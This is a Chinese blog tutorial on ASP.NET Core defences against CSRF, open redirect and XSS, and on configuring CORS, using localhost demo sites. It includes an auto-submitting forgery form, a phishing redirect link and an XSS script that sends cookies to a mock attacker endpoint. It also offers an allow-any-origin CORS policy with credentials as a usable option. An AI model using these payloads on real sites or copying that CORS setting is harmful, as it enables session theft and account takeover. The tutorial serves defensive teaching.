乘风破浪,遇见最佳跨平台跨终端框架.Net Core/.Net生态 - 浅析ASP.NET Core安全设计,如何防范XSRF、ORA、XSS及启用CORS

ASP.NET Core安全性

image

通过ASP.NET Core,开发者可配置和管理安全性。

  • 身份验证
  • 授权
  • 数据保护
  • HTTPS强制
  • 在开发期间安全存储应用机密
  • XSRF/CSRF防护
  • 跨域资源共享(CORS)
  • 跨站点脚本(XSS)攻击

通过这些安全功能,可以生成安全可靠的ASP.NET Core应用

软件中的常见漏洞

ASP.NET Core和EF提供维护应用安全、预防安全漏洞的功能。

避免最常见安全漏洞的技术:

  • 跨站点脚本(XSS)攻击
  • SQL注入式攻击
  • 跨站点请求伪造(XSRF/CSRF)攻击
  • 打开重定向攻击

反跨站请求伪造(XSRF/CSRF)

https://github.com/TaylorShi/HelloSecurity

什么是跨站请求伪造

跨网站请求伪造(也称为XSRF或CSRF)是一种针对Web托管应用的攻击,恶意Web应用凭此可以影响客户端浏览器与信任该浏览器的Web应用之间的交互。这些攻击出现的原因可能是Web浏览器会随着对网站的每个请求自动发送某些类型的身份验证令牌。这种形式的攻击也称为一键式攻击或会话控制,因为该攻击利用了用户以前经过身份验证的会话。

跨站请求伪造(Cross Site Request Forgery, CSRF)是一种劫持受信任用户向服务器发送非预期请求的攻击方式

通常情况下,CSRF攻击是攻击者借助受害者的Cookie骗取服务器的信任,在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器,从而在并未授权的情况下执行在权限保护之下的操作

谁的问题

某些攻击以响应GET请求的终结点为目标,在这种情况下,可以使用图像标记来执行操作。这种形式的攻击在允许图像但阻止JavaScript的论坛网站上很常见。

更改GET请求状态(更改变量或资源)的应用容易受到恶意攻击。更改状态的GET请求不安全。最佳做法是永不更改GET请求的状态

CSRF攻击可能会针对使用cookie进行身份验证的Web应用,原因如下:

  • 浏览器存储Web应用发出的cookie。
  • 存储的cookie包含经过身份验证的用户的会话cookie。
  • 每次请求时,浏览器都会将与域关联的所有cookie发送到Web应用,而不管对应用的请求是如何在浏览器中生成的。

但是,CSRF攻击并不局限于利用cookie。例如,基本身份验证和摘要式身份验证也容易受到攻击。用户使用基本身份验证或摘要式身份验证登录后,浏览器会自动发送凭据,直到会话结束。

在此上下文中,会话是指在客户端会话中对用户进行身份验证。它与服务器端会话或ASP.NET Core会话中间件无关。

用户可以采取预防措施来防范CSRF漏洞:

  • 使用完Web应用后退出登录。
  • 定期清除浏览器cookie。

但是从根本上说,CSRF漏洞是Web应用的问题,而不是最终用户的问题

攻击过程

image

如上图,中间有个好站点,右边有个坏站点,它是黑客构造的一个站点。

首先左侧的用户浏览器访问了好站点,并进行了登录,好站点通过Set Cookie来将登录信息返回给浏览器,浏览器会将这个Cookie存储到本地,后续所有请求好站点的请求都会携带这个身份的Cookie。

如果这个过程中,我们的客户浏览器又去访问了坏站点,坏站点就会返回一个页面,这个页面就会携带了构造一个到好站点的HTTP请求的脚本,这个脚本就可以控制我们的客户的浏览器向好站点发起一个请求,浏览器这时向好站点发生请求时,这时候是会携带它的Cookie身份信息的,这样一来,好站点就认为这个请求它是有效的,并且这个人身份是有效的,它会去做一个响应。

如果说,这个请求是,转账的请求,那就意味着这个转账可能会成功,比如说坏站点构造了一个转账到黑客账户的动作,有可能我们的客户在不知不觉中就受到了攻击,然后将资金转到黑客账户下面去了。

攻击核心

  • 用户已登录"好站点"
  • "好站点"通过Cookie存储和传递身份信息
  • 用户访问了"坏站点"

如何防御

  • 不使用Cookie来存储和传输身份信息,使用JWT和Header头的方式来做身份认证
  • 使用AntiforgeryToken机制来防御
  • 避免使用Get作为业务操作的请求方法

基于AntiforgeryToken来防御的选择

  • ValidateAntiforgeryToken
  • AutoValidateAntiforgeryToken

这两个类可以帮助我们轻松实现跨站脚本的防御。

建立攻防站点

建立一个坏站点,做一个攻击网站Tesla.Order.HackedSite

@{
    ViewData["Title"] = "Home Page";
}

<div class="text-center">
    <h1 class="display-4">Welcome</h1>
    <p>Learn about <a href="https://docs.microsoft.com/aspnet/core">building Web apps with ASP.NET Core</a>.</p>
</div>


<form action="https://localhost:5003/Home/CreateOrder" method="post">
    <label>商品ID:<input type="hidden" name="itemId" value="125" /></label>
    <label>数量:<input type="hidden" name="count" value="100" /></label>
    <input type="submit" value="提交" />
</form>
<script type="text/javascript">
    document.forms[0].submit();
</script>

<a href="https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin">攻击链接https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin</a>

建立一个好站点Tesla.Order.NormalSite,建立一个HomeController

public class HomeController : Controller
{
    [Authorize]
    [ValidateAntiForgeryToken]
    public IActionResult CreateOrder(string itemId, int count)
    {
        _logger.LogInformation("创建了订单itemId:{itemId},count:{count}", itemId, count);
        return Content("Order Created");
    }
}

这里启动后,我们直接进入坏站点

<form action="https://localhost:5003/Home/CreateOrder" method="post">
    <label>商品ID:<input type="hidden" name="itemId" value="125" /></label>
    <label>数量:<input type="hidden" name="count" value="100" /></label>
    <input type="submit" value="提交" />
</form>
<script type="text/javascript">
    document.forms[0].submit();
</script>

它会自动帮我们向好站点发送一个请求,形成攻击。

如何预防跨站脚本攻击

我们可以在Startup.csConfigureServices中使用AddAntiforgery设置一个Header值

// 设置了一个跨站脚本攻击的防跨站攻击的Token
services.AddAntiforgery(antiforgeryOptions =>
{
    antiforgeryOptions.HeaderName = "X-CSRF-TOKEN";
});

防跨站脚本策略是先在Cookie中设置了一个跨站脚本攻击的防跨站攻击的Token,这个Token在我们Http请求的时候,我们要求客户端在Header里面,通过我们定义的Header把Cookie的值也传进来,这样子服务端会验证Header的值与Cookie的值是否一致,如果不一致,那么当前请求是一个非法请求,如果一致,则认为这是正常请求

对于跨站攻击者,跨站脚本的攻击者,它仅仅能通过它的一个页面进行一个Post请求或者Get请求,这个请求是可以携带Cookie的,但是这个请求它是无法通过脚本去设置Http的请求头的,同时它也没办法获取到我们当前在我们好站点下存储的Cookie的值,因此它没有办法去构造一个Header,说来与我们Cookie的值匹配的。这样我们可以达到防跨站脚本攻击的目的

更高级的设置包括

builder.Services.AddAntiforgery(options =>
{
    // Set Cookie properties using CookieBuilder properties†.
    options.FormFieldName = "AntiforgeryFieldname";
    options.HeaderName = "X-CSRF-TOKEN-HEADERNAME";
    options.SuppressXFrameOptionsHeader = false;
});

其中字段含义如下

选项 说明
Cookie 确定用于创建防伪造cookie的设置。
FormFieldName 防伪造系统用于在视图中呈现防伪造令牌的隐藏表单域的名称。
HeaderName 防伪造系统使用的标头的名称。如果为null,则系统仅考虑表单数据。
SuppressXFrameOptionsHeader 指定是否禁止生成X-Frame-Options标头。默认情况下,标头是使用值“SAMEORIGIN”生成的。默认为false。

不仅如此,我们还需要在全局范围内开展防跨站脚本攻击策略。

// 在全局范围内开展防跨站脚本攻击策略
services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));

如果不希望全局启用,那么可以使用Attribute的方式局部定义:ValidateAntiForgeryToken

[Authorize]
[ValidateAntiForgeryToken]
public IActionResult CreateOrder(string itemId, int count)
{
    _logger.LogInformation("创建了订单itemId:{itemId},count:{count}", itemId, count);
    return Content("Order Created");
}

而且,我们要避免使用HttpGet来作为业务操作数据变更的接口,尽量使用Post方法,这样好处是说跨站攻击的脚本的难度更大一些。

另外,我们可以使用JWT作为身份认证,而不使用Cookie,意味着跨站脚本没法携带身份信息。

为了使用方便,我们还可以直接在Controller上使用Attribute标记: AutoValidateAntiforgeryToken

[AutoValidateAntiforgeryToken]
public class HomeController : Controller

它会针对名下所有Post动作生效。

防开放重定向攻击(ORA)

什么是开放重定向攻击

开放重定向攻击(Open Redirect Attack), 重定向到通过请求指定的URL的任何Web应用程序(如查询字符串或表单数据)可能会篡改,以将用户重定向到外部恶意URL。这种篡改称为开放式重定向攻击。

重定向是网站操作的常见部分,但如果不小心实施,可能会导致应用程序安全风险。开放的重定向端点接受不受信任的输入作为目标URL,允许攻击者将用户重定向到恶意网站,并打开各种攻击媒介。利用漏洞可以像手动将URL参数值更改为攻击者控制的站点一样简单。

每当应用程序逻辑重定向到指定的URL时,你必须验证重定向URL是否未被篡改。ASP.NET MVC 1.0和ASP.NET MVC 2的默认AccountController中使用的登录名容易受到打开重定向攻击。

攻击过程

image

这里从左到右,浏览器、好站点、坏站点、攻击者

攻击者通过途径来去向用户发送了恶意信息,这个恶意信息携带了一个链接地址,这个链接地址就是一个攻击地址。

而攻击地址的域名实际上是好站点的地址,所以一般情况下,我们的用户可能认为这个链接是一个正常的链接。

然后用户如果点击了这个链接,用户可能认为这个链接是一个正常的链接,用户就点击了这个链接,访问了带恶意重定向地址的登录页,在整个过程中间,它就进行登录。

好站点响应登录页面,用户输入用户名、密码,然后登录。登录完成以后,好站点一般情况下,会有一个重定向的动作,由于重定向的参数地址实际上是坏站点,也就意味着用户一旦登录成功,那就会重定向至坏站点,这个时候,坏站点造了一个跟好站点的登录页非常相似的登录页,由于客户在刚开始点链接到时候,认为我当前是在访问好页面,并不会注意浏览器地址发生了变化,用户就会重新输入账号和密码,以为第一次输错了,这个时候用户的用户名和密码实际上是提交到了坏站点,坏站点在获取到了用户名和密码之后,通过后台来通知攻击者,另外它会将用户重定向到好站点,用户继续访问好站点。

在整个过程中间,用户可能会被不知不觉的密码泄露给了攻击者。

攻击核心

  • "好站点"的重定向为验证目标URL是否有效
  • 用户访问了"坏站点"

防范措施

  • 使用LocalRedirect来处理重定向,适合处理重定向仅限于本站的情况,意味着重定向不会跨站
  • 验证重定向的目标域名是否合法,适用于站点有一组有效的域名,需要验证这些域名的有效性,验证重定向地址的有效性是否是我们合法的这些域名范围内的

模拟攻击过程

首先在Tesla.Order.HackedSite构建一个攻击链接

<a href="https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin">攻击链接https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin</a>

然后在Tesla.Order.NormalSiteHomeController设计了一个登录页面

//攻击链接 https://localhost:5003/Home/Login?returnUrl=https%3A%2F%2Flocalhost%3A5001%2FHome%2FLogin
[HttpPost]
public async Task<IActionResult> Login([FromServices]IAntiforgery antiforgery, string name, string password, string returnUrl)
{
    HttpContext.Response.Cookies.Append("CSRF-TOKEN", antiforgery.GetTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
    var identity = new ClaimsIdentity(CookieAuthenticationDefaults.AuthenticationScheme);//一定要声明AuthenticationScheme
    identity.AddClaim(new Claim("Name", "小王"));
    await this.HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(identity));
    if (string.IsNullOrEmpty(returnUrl))
    {
        return Content("登录成功");
    }
    return Redirect(returnUrl);
}

在坏站点Tesla.Order.HackedSite也伪造了一个Login页面,和好站点非常相似

@{
    ViewData["Title"] = "Login";
}

<h1>Login</h1>
<form action="@Url.Action("Login")" method="post">
    <label>用户名:<input type="text" name="name" value="" /></label>
    <label>密码:<input type="text" name="password" value="" /></label>
    <input type="submit" value="提交" />
</form>

启动项目,先看到坏站点的攻击页面

image

从这个链接点击过去,直接去了好站点的登录页面

image

当我们登录成功之后,我们留意到,浏览器地址立即跳转回了坏站点的伪造登录页面

image

这时候用户如果不注意上面的链接地址已经坏站点的话,可能会以为当前是用户名密码输入错误,会重新输入账号密码,这时候,再次输入账号密码,会重定向到好站点。

image

image

如何预防开放重定向攻击

在好站点的登录逻辑中,之前使用的是Redirect这种重定向方式,如果我们切换到LocalRedirect的话,就预防这种情况

[HttpPost]
public async Task<IActionResult> Login([FromServices]IAntiforgery antiforgery, string name, string password, string returnUrl)
{
    HttpContext.Response.Cookies.Append("CSRF-TOKEN", antiforgery.GetTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
    var identity = new ClaimsIdentity(CookieAuthenticationDefaults.AuthenticationScheme);//一定要声明AuthenticationScheme
    identity.AddClaim(new Claim("Name", "小王"));
    await this.HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(identity));
    if (string.IsNullOrEmpty(returnUrl))
    {
        return Content("登录成功");
    }
    return LocalRedirect(returnUrl);
}

这时候,再去模拟攻击过程,我们发现,从坏站点跳转到好站点的时候,它会报错

image

InvalidOperationException: The supplied URL is not local. A URL with an absolute path is considered local if it does not have a host/authority part. URLs using virtual paths ('~/') are also local.

因为这时候重定向的地址不是同域名的地址。

这样的直接报错不是很友好,我们可以做一个特殊处理,捕获异常,然后重定向到我们首页。

[HttpPost]
public async Task<IActionResult> Login([FromServices]IAntiforgery antiforgery, string name, string password, string returnUrl)
{
    HttpContext.Response.Cookies.Append("CSRF-TOKEN", antiforgery.GetTokens(HttpContext).RequestToken, new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
    var identity = new ClaimsIdentity(CookieAuthenticationDefaults.AuthenticationScheme);//一定要声明AuthenticationScheme
    identity.AddClaim(new Claim("Name", "小王"));
    await this.HttpContext.SignInAsync(CookieAuthenticationDefaults.AuthenticationScheme, new ClaimsPrincipal(identity));
    if (string.IsNullOrEmpty(returnUrl))
    {
        return Content("登录成功");
    }
    try
    {
        return LocalRedirect(returnUrl);
    }
    catch (Exception)
    {
        return Redirect("/");
    }
}

如果重定向最终地址是其他站点,采用LocalRedirect的情况就不太适用了,那么对于其他站点,我们就需要对重定向的地址进行验证。

try
{
    var uri = new Uri(returnUrl);
    if(uri.Host == "localhost")
    {
        return Redirect(returnUrl);
    }
    else
    {
        return Redirect("/");
    }
}
catch (Exception)
{
    return Redirect("/");
}

这里的Uri.Host验证可以根据我们的配置表或者根据数据库的数据进行验证。

除此之外,URL还提供了IsLocalUrl方法来判断是否为本地地址,可以在重定向之前进行这个判断。

try
{
    if(Url.IsLocalUrl(returnUrl))
    {
        return Redirect(returnUrl);
    }
    else
    {
        return Redirect("/");
    }
}
catch (Exception)
{
    return Redirect("/");
}

防跨站脚本攻击(XSS/CSS)

什么是跨站脚本攻击

跨站脚本攻击(Cross Site Scripting,CSS,为了区分通常叫XSS)是一种安全漏洞,攻击者可利用此漏洞将客户端脚本(通常是JavaScript)置于网页中。当其他用户加载受影响的页面时,攻击者的脚本便会运行,从而使攻击者可盗取cookie和会话令牌、通过DOM操作更改网页的内容或是将浏览器重定向到其他页面。当应用程序接收用户输入并将它输出到页面而不进行验证、编码或转义时,通常会出现XSS漏洞。

针对XSS保护应用程序

在基本级别上,XSS的工作原理是诱使应用程序将<script>标记插入到呈现的页面中,或是将On*事件插入到元素中。开发人员应使用以下预防步骤来避免向其应用程序中引入XSS。

  1. 切勿将不受信任的数据置于HTML输入中,除非按照以下其余步骤进行操作。不受信任的数据是指可能由攻击者控制的任何数据、HTML窗体输入、查询字符串、HTTP标头,甚至是源自数据库的数据,因为即使攻击者无法破坏你的应用程序,也可能能够破坏你的数据库。

  2. 将不受信任的数据置于HTML元素中之前,请确保其经过HTML编码。HTML编码接收诸如<此类字符,然后将它们更改为安全形式(如&lt;)

  3. 将不受信任的数据置于HTML属性中之前,请确保其经过HTML编码。HTML属性编码是HTML编码的超集,会对其他字符(如"and')进行编码。

  4. 将不受信任的数据置于JavaScript中之前,请将数据置于你会在运行时检索其内容的HTML元素中。如果无法做到这一点,请确保数据经过JavaScript编码。JavaScript编码会接收针对JavaScript的危险字符,然后将它们替换为其十六进制,例如<会编码为\u003C

  5. 将不受信任的数据置于URL查询字符串中之前,请确保其经过URL编码

攻击过程

image

这里有四个角色:用户浏览器、攻击者、好站点、坏站点。

攻击者提交了带有恶意脚本的内容到好站点,好站点如果没有验证这些恶意内容,并且保存了恶意内容在页面里,提交成功。

正常的用户来去访问好站点的带有恶意脚本的内容页,那么页面就会响应带有恶意脚本的页面,这个时候客户的浏览器就会执行恶意脚本,恶意脚本可以发起Post或者Get请求到坏站点,将用户的身份信息提交到坏站点,那坏站点通知我们的攻击者然后进行任意的响应,这个过程就完成了攻击者窃取用户的身份信息的一个过程。

实际上,恶意脚本不仅仅可以窃取用户的身份信息,它可以类似于跨站请求伪造的方式去来帮助用户直接提交,比如转账等功能的信息,所以恶意脚本的攻击,比我们跨站请求伪造的攻击威力更大,它不但能够伪造请求,并且能够窃取客户的身份信息。

防范措施

  • 对用户提交内容进行验证,拒绝恶意脚本
  • 对用户提交的内容进行编码UrlEncoderJavaScriptEncoder
  • 慎用HtmlStringHtmlHelper.Raw,这个方法是将用户提交的内容原模原样地输出到页面上面,这意味着可以原模原样的把恶意脚本输出出来
  • 身份信息Cookie设置为HttpOnly,这样就无法通过Javascript脚本来读取身份的Cookie信息,避免身份信息的泄露
  • 避免使用Path传递带有不受信的字符,使用Query进行传递

模拟攻击

在好站点Tesla.Order.NormalSite中,我们添加了Show方法,这里模拟了攻击者叫恶意脚本提交到页面的过程。

public IActionResult Show()
{
    string content = "<p><script>var i=document.createElement('img');document.body.appendChild(i);i.src ='https://localhost:5001/home/xss?c=' +encodeURIComponent(document.cookie);</script></p>";
    ViewData["content"] = content;
    return View();
}

在这段恶意攻击脚本中,会传入一个图片,这个图片背后的地址是攻击地址,它作用是将当前浏览器域名的Cookie通过坏站点的Home/xss页面传递下去。

接下来看下坏站点Tesla.Order.HackedSite中关于home/xss的定义

public IActionResult Xss(string c)
{
    _logger.LogInformation("cookie:{cookie}", c);
    return Ok();
}

好站点,我们也需要对Cookie身份验证做个设置,默认HttpOnly是True的,这里我们故意设置成False,我们看到这里我们还设置了如果验证失败,登录地址为/home/login

services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
.AddCookie(CookieAuthenticationDefaults.AuthenticationScheme, options =>
{
    options.LoginPath = "/home/login";
    options.Cookie.HttpOnly = false;
});

试试效果,我们访问下好站点的Show页面:https://localhost:5003/home/show

image

这里成功看到那个恶意的图片加载进来了,这个图片的加载行为,成功把Cookie偷走了。

image

坏站点也顺利收到了偷来的Cookie

image

使用这个Cookie信息就可以伪造好人的身份在好站点进行登录了。

如何预防跨站脚本攻击

首先我们要把HttpOnly设置为True。

services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
.AddCookie(CookieAuthenticationDefaults.AuthenticationScheme, options =>
{
    options.LoginPath = "/home/login";
    options.Cookie.HttpOnly = true;
});

重复下前面的过程,这时候我们看到登录设置的Cookie被勾选了HttpOnly

image

这时候,我们再次访问下Show页面,发现这时候拿到的Cookie就只有CSRF-TOKEN的了,没有ASPNetCore.Cookies

image

image

这样我们就可以通过HttpOnly来避免身份信息的丢失。

编码输入和输出值

但是实际上我们要从源头来防止跨站脚本攻击来解决,在Show方法中,对于需要在页面上显示的客户输入信息,需要严格验证是否携带脚本内容,针对这些脚本信息我们是需要过滤的,尤其是这些脚本标签。

这种情况我们可以考虑使用UrlEncoder对输入字符串进行转码

private readonly ILogger<HomeController> _logger;
private readonly UrlEncoder _urlEncoder;

public HomeController(ILogger<HomeController> logger, UrlEncoder urlEncoder)
{
    _logger = logger;
    _urlEncoder = urlEncoder;
}

public IActionResult Show()
{
    string content = "<p><script>var i=document.createElement('img');document.body.appendChild(i);i.src ='https://localhost:5001/home/xss?c=' +encodeURIComponent(document.cookie);</script></p>";
    var encoderContent = _urlEncoder.Encode(content);
    ViewData["content"] = encoderContent;
    return View();
}

这时候,我们看到,输入内容变成这样一串东西了。

%3Cp%3E%3Cscript%3Evar%20i%3Ddocument.createElement(%27img%27);document.body.appendChild(i);i.src%20%3D%27https%3A%2F%2Flocalhost%3A5001%2Fhome%2Fxss%3Fc%3D%27%20%2BencodeURIComponent(document.cookie);%3C%2Fscript%3E%3C%2Fp%3E

编码之后,空格、引号、标点符号和其他不安全字符会百分号编码为其十六进制值,例如,空格字符会变为%20

可接受的一般做法是在输出时进行编码,并且编码值绝不应存储在数据库中。通过在输出时进行编码,可更改数据的使用,例如从HTML到查询字符串值。这还使你可轻松搜索你的数据,而无需在搜索之前对值进行编码,并使你可利用对编码器进行的任何更改或bug修复。

请在输出之前始终对不受信任的输入进行编码,无论执行了哪种验证或清理

跨域请求(CORS)

什么是跨域请求

跨域请求(Cross-Origin Resource Sharing, CORS)是一种基于HTTP头的机制,它允许服务器指出除其自身以外的任何源(域、方案或端口),浏览器应允许从这些源加载资源。CORS还依赖于一种机制,浏览器通过该机制向托管跨源资源的服务器发出"预检"请求,以检查该服务器是否允许实际请求。在该预检中,浏览器会发送头信息,表明实际请求中会使用的HTTP方法和头信息。

跨源HTTP请求的一个例子:运行在https://domain-a.com 的JavaScript代码使用XMLHttpRequest来发起一个到https://domain-b.com/data.json 的请求。

出于安全性,浏览器限制脚本内发起的跨源HTTP请求。例如,XMLHttpRequestFetchAPI遵循同源策略。这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头

image

跨源域资源共享(CORS)机制允许Web应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在API容器中(例如XMLHttpRequestFetch)使用CORS,以降低跨源HTTP请求所带来的风险。

什么是同源

在一个Http Url里面包含了方案Http/Https、域名、端口,如果这三者都是相同的则认为这两个域名是同源。

这两个URL同源:

这些URL的源与前两个URL不同:

同源与跨域

  • 方案相同(Http/Https)
  • 主机(域名)相同
  • 端口相同

CORS过程

image

这里有三个角色:用户浏览器、tesla.com域名网站、baoma.com域名网站

浏览器发起一个请求之后,访问tesla.com域名网站得到了响应,这时浏览器处于tesla.com的主域下面,如果在这个域下面,我们的脚本发起了一个向baoma.com的http ajax请求,这时则认为这是一个跨域请求。

浏览器在发起跨域请求之前,会先向baoma.com发起一个Http option的预检请求,baoma.com收到预检请求以后,会根据当前预检请求的一些信息,比如说主域是什么、请求的header是什么,是否需要携带身份认证信息,根据这些信息,baoma.com会去判断是否允许跨域请求,如果baoma.com的响应式允许访问,则浏览器会正式地向baoma.com发起最终要求的跨域请求,这时baoma.com也会响应正常的页面或者API信息。

浏览器支持情况

image

大部分浏览器都是支持的,对于IE来讲,只有IE 11以上才会完美的支持。

CORS请求头

跨域预检请求头会包含如下信息

  • Origin请求源,当前主域的地址
  • Access-Control-Request-Method,期望请求的方法,比如Post、Get
  • Access-Control-Request-Headers,期望请求发起的请求头

CORS响应头

  • Access-Control-Allow-Origin,是否允许跨域
  • Access-Control-Allow-Credentials,是否允许携带的认证信息,比如Cookie
  • Access-Control-Expose-Headers,暴露Header,它是指当我们允许跨域请求时,是否允许跨域请求的脚本访问到响应的头,比如说一些预定义的头
  • Access-Control-Max-Age,代表这一次跨越响应策略的有效时间,如果有效时间过了以后,实际上浏览器在发起跨域请求的时候,仍然会去发起预检请求
  • Access-Control-Allow-Methods,允许的HTTP方法
  • Access-Control-Allow-Headers,允许的HTTP头

默认支持Expose Headers

默认情况下已经暴露的Header包括

  • Cache-Control
  • Content-Language
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

这些都是与安全无关的,所以脚本实际上在跨域请求响应收到以后可以访问响应,可以获取到响应的HTTP信息的这些头的值。

如何启用CORS

我们建立两个站点,一个还是之前的Tesla.Order.NormalSite用于支持跨域的服务站,另外一个再建立一个发起跨域请求的Tesla.Order.CrossSite

Tesla.Order.NormalSite,我们需要先在Startup.csConfigureServices方法中注入CORS服务,这里我们顺便做一些自定义的策略设定

// 启用CORS服务
services.AddCors(corsOptions =>
{
    // 定义一个名字叫api的Policy
    corsOptions.AddPolicy("api", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 允许它跨域的源是https://localhost:5005,即Tesla.Order.CrossSite
        .WithOrigins("https://localhost:5005")
        // 允许它发起任何Header
        .AllowAnyHeader()
        // 允许它发起任何凭据,发起请求会自动携带域下面的Cookie信息
        .AllowCredentials()
        // 允许脚本可以访问到Header的列表
        .WithExposedHeaders("abc");
    });
});

这里定义了一个叫api的Cors的策略,它允许跨域的源是我们Tesla.Order.CrossSite的域。

接下来,我们还需要在Configure方法中启用CORS中间件

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{

    app.UseRouting();

    app.UseCors();

    app.UseAuthentication();

    app.UseAuthorization();

需要注意的是,需要将它放置在合适的顺序位置,这里放在UseRoutingUseAuthentication之间。

接下来,我们在Tesla.Order.NormalSite建立一个跨域的响应点,并且我们通过Attribute的方式启用CORS,并且指定CORS的策略是api

public class HomeController : Controller
{
    [Authorize]
    [HttpPost]
    // 期望它是允许跨域访问,并且指定策略名称为api的策略
    [EnableCors("api")]
    public object PostCors(string name)
    {
        return new { name = name + DateTime.Now.ToString() };
    }
}

这里我们让它返回传入的值+当前时间。

接下来,我们前往Tesla.Order.CrossSite构建我们的请求页面cors.cshtml

@{
    ViewData["Title"] = "Cors";
}

<h1>Cors</h1>
<h2 id="h2"></h2>
<script>

    fetch('https://localhost:5003/Home/PostCors?name=abc', {
        method: "POST",
        credentials: 'include',
        headers: new Headers({
            'Content-Type': 'application/json'
        }),
        body: {}
    })
    .then(response => response.json())
    .then(function (response) {
        document.getElementById('h2').innerText = response.name;
    });
</script>

这里我们让它向Tesla.Order.NormalSitePostCors接口发起跨域请求,如果有返回值,那么就页面呈现上来。

运行下,我们需要先在Tesla.Order.NormalSite中完成登录,不然它没有有效的Cookie可用。

image

接下来,我们前往Tesla.Order.CrossSite跨域发起请求页面即可:https://localhost:5005/home/cors

image

可以看到,正确返回了值。

我们详细看下具体的情况

image

首先它确实发起了一个跨域预检的请求,并且拿到了如下返回值

access-control-allow-credentials: true
access-control-allow-headers: content-type
access-control-allow-origin: https://localhost:5005
date: Wed, 26 Oct 2022 17:04:42 GMT
server: Kestrel

说明它是允许我们来跨域的。

接下来,紧接着,浏览器发起了它期望发起的那个Post请求,一切顺利

image

顺利拿到了响应

{"name":"abc2022/10/27 1:04:43"}

我们来看一个反例,如果这时候其他站点来做这个跨域请求,那么在发起跨域请求预检的时候就拿不到之前那种答复了。

image

可以看得出,启用CORS之后,我们从Tesla.Order.CrossSite发起的请求,就像Tesla.Order.NormalSite自己的同域请求一样的对待了。

设置多组域名CORS

实际使用过程,我们可能不只对一个域名进行启用CORS,那么我们可以写成

// 启用CORS服务
services.AddCors(corsOptions =>
{
    // 定义一个名字叫api的Policy
    corsOptions.AddPolicy("api", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 判断哪些域名可以被运行跨域请求
        .SetIsOriginAllowed(origin => true)
        // 允许它发起任何凭据,发起请求会自动携带域下面的Cookie信息
        .AllowCredentials()
        // 允许它发起任何Header
        .AllowAnyHeader();
    });
});

这里使用SetIsOriginAllowed来判断哪些域名可以进行跨域请求,这些域名可以从配置表或者其他数据来源中获取。

我们同时可以为不同的api定义多个策略,这样灵活应对各种情况。

// 启用CORS服务
services.AddCors(corsOptions =>
{
    // 定义一个名字叫api的Policy
    corsOptions.AddPolicy("api", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 允许它跨域的源是https://localhost:5005,即Tesla.Order.CrossSite
        .WithOrigins("https://localhost:5005")
        // 允许它发起任何Header
        .AllowAnyHeader()
        // 允许它发起任何凭据,发起请求会自动携带域下面的Cookie信息
        .AllowCredentials()
        // 允许脚本可以访问到Header的列表
        .WithExposedHeaders("abc");
    });

    // 定义一个名字叫api-v2的Policy
    corsOptions.AddPolicy("api-v2", corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 判断哪些域名可以被运行跨域请求
        .SetIsOriginAllowed(origin => true)
        // 允许它发起任何凭据,发起请求会自动携带域下面的Cookie信息
        .AllowCredentials()
        // 允许它发起任何Header
        .AllowAnyHeader();
    });
});

建立全局默认的策略

我们还可以通过AddDefaultPolicy添加全局默认CORS策略。

// 启用CORS服务
services.AddCors(corsOptions =>
{
    // 全局默认策略
    corsOptions.AddDefaultPolicy(corsPolicyBuilder =>
    {
        corsPolicyBuilder
        // 判断哪些域名可以被运行跨域请求
        .SetIsOriginAllowed(origin => true)
        // 允许它发起任何凭据,发起请求会自动携带域下面的Cookie信息
        .AllowCredentials()
        // 允许它发起任何Header
        .AllowAnyHeader();
    });
});

在这种模式下,Controller上也可以省去Attribute方式的标记。

public class HomeController : Controller
{
    [Authorize]
    [HttpPost]
    public object PostCors(string name)
    {
        return new { name = name + DateTime.Now.ToString() };
    }
}

但是这样的代价是,所有的API都会设置成可跨域访问,因此不推荐使用这种全局方式。

最佳实践

最建议的做法还是,为每一种跨域的策略,定义好策略名称,然后注册进来,同时可以在Controller上定义。

[EnableCors("api-v2")]
public class HomeController : Controller
{

通过这样的方式,为我们的API设置跨域策略,如果某些Action期望不允许启用CORS,我们还可以反向禁止它: DisableCors

[Authorize]
[HttpPost]
[DisableCors]
public object PostCors(string name)
{
    return new { name = name + DateTime.Now.ToString() };
}

定义策略时一定要为它定义策略名称,并且在我们需要的API上启用这些跨域的策略,而不是定义一个默认的全局策略。

总结

  • CORS是浏览器允许跨域发起请求的"君子协定"
  • 它是浏览器行为协议
  • 它并不会让服务器拒绝其他途径发起的Http请求
  • 开启时需要考虑是否存在被恶意网站攻击的情形

参考

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章